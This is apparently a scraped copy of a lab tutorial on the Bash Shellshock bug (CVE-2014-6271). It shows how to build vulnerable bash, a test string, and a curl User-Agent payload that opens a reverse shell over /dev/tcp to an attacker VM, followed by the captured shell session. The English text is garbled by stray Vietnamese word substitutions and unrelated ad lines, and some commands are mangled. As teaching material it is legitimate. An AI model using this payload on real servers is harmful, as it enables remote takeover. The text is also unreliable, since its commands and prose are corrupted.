Bạn đang xem: Python

In September 2014, when a single security bug in Bash was disclosed there was chaos in the security community. This bug allowed attackers to escalate privileges và execute arbitrary code on a remote machine. It affected most versions of Linux & UNIX-based OSes and (obviously) was considered a critical vulnerability.

This bug is described in CVE-2014–6271. It was patched immediately which led to lớn another bug, CVE-2014–7169. This bug was patched, which led lớn another bug, CVE-2014–6277 and it was eventually patched as well.

In this first part of a three-part series, we’re going to look at the first vulnerability, CVE-2014–6271 và get a better understanding of it.

Credits: I’ve learnt about this exploit in a course, ENPM697 at the University of Maryland, College Park. Some of the examples used in this article belong to lớn the course resources prepared by Professor Dharmalingam Ganesan.

Lab Setup
The Shellshock family of security bugs were first discovered in năm trước and they were patched in the later Bash versions. Obviously, it is not possible to use the current Bash version to lớn demonstrate the exploit; we need the vulnerable Bash version. We also need two Virtual Machines; one of which will serve as a local machine & the other as the remote machine.

There are two ways to lớn get the vulnerable Bash version:

Use the SEED VM setup of Dr. Wenliang Du from http://www.cis.syr.edu/~wedu/seed/lab_env.html. This thiết đặt already has the vulnerable Bash version installed và is named bash_shellshock.

Note: I’ll be using the SEED VM cài đặt while demonstrating the exploit.

If you want to manually install the vulnerable Bash version, then follow the steps below:

Step 1: download the vulnerable version of bash from https://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz. Any version published before September 2014 is okay.

nikhilh
ubuntu:~/Downloads$ wget https://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz — 2019–02–19 20:46:54 — https://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz

2019–02–19 20:46:55 (11.3 MB/s) — ‘bash-4.3.tar.gz’ saved <7955839/7955839>

Step 2: Extract it into a local directory.

nikhilh
ubuntu:~/Downloads$ tar -xvf bash-4.3.tar.gzbash-4.3/bash-4.3/CWRU/bash-4.3/CWRU/misc/bash-4.3/CWRU/misc/open-files.c

…

bash-4.3/y.tab.hbash-4.3/parser-builtbash-4.3/pathnames.h.in

Step 3: Configure và build.

Xem thêm: Cách tối ưu hóa quảng cáo (phần 1): 3 quy tắc cần tuân thủ, tối ưu quảng cáo (phần 1): 3 quy tắc cần tuân thủ

nikhilh
ubuntu:~/Downloads/bash-4.3$ ./configure && makechecking build system type… x86_64-unknown-linux-gnuchecking host system type… x86_64-unknown-linux-gnu

Beginning configuration for bash-4.3-release for x86_64-unknown-linux-gnu

…

Step 4: Create a symlink in the /bin directory pointing to lớn the installed vulnerable Bash program.

nikhilh
ubuntu:/bin$ sudo ln -s /home/nikhilh/Downloads/bash-4.3/bash bash_shellshocknikhilh
ubuntu:/bin$ ls -l bash*-rwxr-xr-x 1 root root 1113504 Apr 4 2018 bashlrwxrwxrwx 1 root root 37 Feb 19 20:54 bash_shellshock -> /home/nikhilh/Downloads/bash-4.3/bash

Non-SEED VM:

nikhilh
ubuntu:~$ env x=’() :;; echo Oh No!’ bash_shellshock -c “echo Testing!”Oh No!Testing!

If you have the vulnerable version, the output of the command would contain the string Oh No!, else it would just be Testing!.

SEED VM:

Non-SEED VM:

nikhilh
ubuntu:~$ env x=’() :;; echo Oh No!’ bash -c “echo Testing!”Testing!

The cause of the vulnerability lies in a loophole in the Bash algorithm which parses the values of environment variables. According to CVE-2014–6271, the vulnerable Bash version “processes trailing strings after function definitions in the values of environment variables, which allows remote attackers lớn execute arbitrary code via a crafted environment”.

If you’re interested in looking at the source code where the vulnerability lies, read this article: https://security.stackexchange.com/questions/68448/where-is-bash-shellshock-vulnerability-in-source-code.

In general, it is possible to store a function definition in an environment variable in Bash and then execute it. This in itself is not a vulnerability because we must call the environment variable as a command to lớn execute the function definition:

However, the parsing algorithm in Bash had a loophole. In a carefully crafted string, it was possible khổng lồ execute arbitrary commands without calling the environment variable as a command. This is a vulnerability because variables are not expected, by themselves, khổng lồ directly cause the execution of code contained in them.

The following is the environment variable-value pair that we used before to lớn verify the existence of CVE-2014–6271:

x=’() :;; echo Oh No!’

Ideally, this should have stored the value, ‘() :;; echo Oh No!’ in the environment variable x as a string because it doesn’t satisfy the rules of a correct function definition. The following is the behavior in the current Bash version:

However, the loophole in the vulnerable Bash program’s parsing algorithm caused two events:

Notice that this loophole can enable the attacker to lớn put in malicious strings after the function definition và they would be executed automatically when a vulnerable Bash program parses the environment variables.

I have two SEED VMs, one of which will serve as the local machine and the other as the remote machine (maybe a website server). The IP address of the local VM is 10.0.2.6 và that of the remote VM is 10.0.2.7.

Our goal is to get a reverse shell (basically, a backdoor) from the remote machine back to our local machine on port, say 9090. To lớn this end, we must get the remote machine to execute malicious code that will be stored in one of its environment variables using the Bash Shellshock exploit.

Step 1: The name of a script on the remote machine which uses Bash khổng lồ execute.

In this case, I’ve created a .cgi script with a Bash shebang.

echo “Content-type: text/plain”echoechoecho “Hello World”

Step 2: Retrieve the contents of the .cgi script through curl.

The User-Agent value used in curl is stored as an environment variable on the remote machine. By default, this is set khổng lồ HTTP_USER_AGENT=curl/7.47.0 when using curl. However, this value can be modified using the -A flag. We will store malicious code that sets up a reverse shell inside this environment variable.

-A “() echo hello; ; echo; /bin/bash_shellshock -i > /dev/tcp/10.0.2.6/9090 0&1”

Step 3: Open a netcat session on port 9090 that will wait for a connection from the remote machine.

Execute the following command on the local machine:

Have a look at the terminal running the netcat session.

accepted (family 2, thể thao 49036)bash_shellshock: no job control in this shellbash_shellshock-4.2$

Notice that the netcat session is now pointing lớn the remote machine’s command line terminal!

bash_shellshock: no job control in this shell

bash_shellshock-4.2$ whoamiwhoamiwww-data

bash_shellshock-4.2$ lslstest.cgi

bash_shellshock-4.2$ mèo test.cgicat test.cgi#! /bin/bash_shellshock

echo “Content-type: text/plain”echoechoecho “Hello World”

echo “** Environment Variables *** “strings /proc/$$/environ

At this point, the attacker would have taken user-level control of the remote machine.

The www-data user is the mặc định user under which the Apache web server on the Ubuntu remote machine is running on. If it were running under root user, the attacker would have root privileges và would be in complete control!

Done!

The Bash Shellshock family of vulnerabilities are one of those exploits which require almost zero knowledge khổng lồ execute. This makes them all the more dangerous because anyone can exploit systems và execute destructive commands.

In the next part of this series, we’ll look at CVE-2014–7169 which was caused because of an incomplete fix khổng lồ CVE-2014–6271. Thank you for reading! If you have any questions, leave them in the comments section below và I’ll get back khổng lồ you as soon as I can!

Bạn cũng có thểThích

Excel found unreadable content là gì, file excel found unreadable content in

31/03/2024

Nghĩa của từ to be content to là gì, content là gì

01/04/2024

Loại content tiktok là gì - 4 loại content dễ viral trên tiktok 2023

01/04/2024

Content seeding la gì ? làm sao để seeding hiệu quả? phương pháp seeding hiệu quả nhất

01/04/2024